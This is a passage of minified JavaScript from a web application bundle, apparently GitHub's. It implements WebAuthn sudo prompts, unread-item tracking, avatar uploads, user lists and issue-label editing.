S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 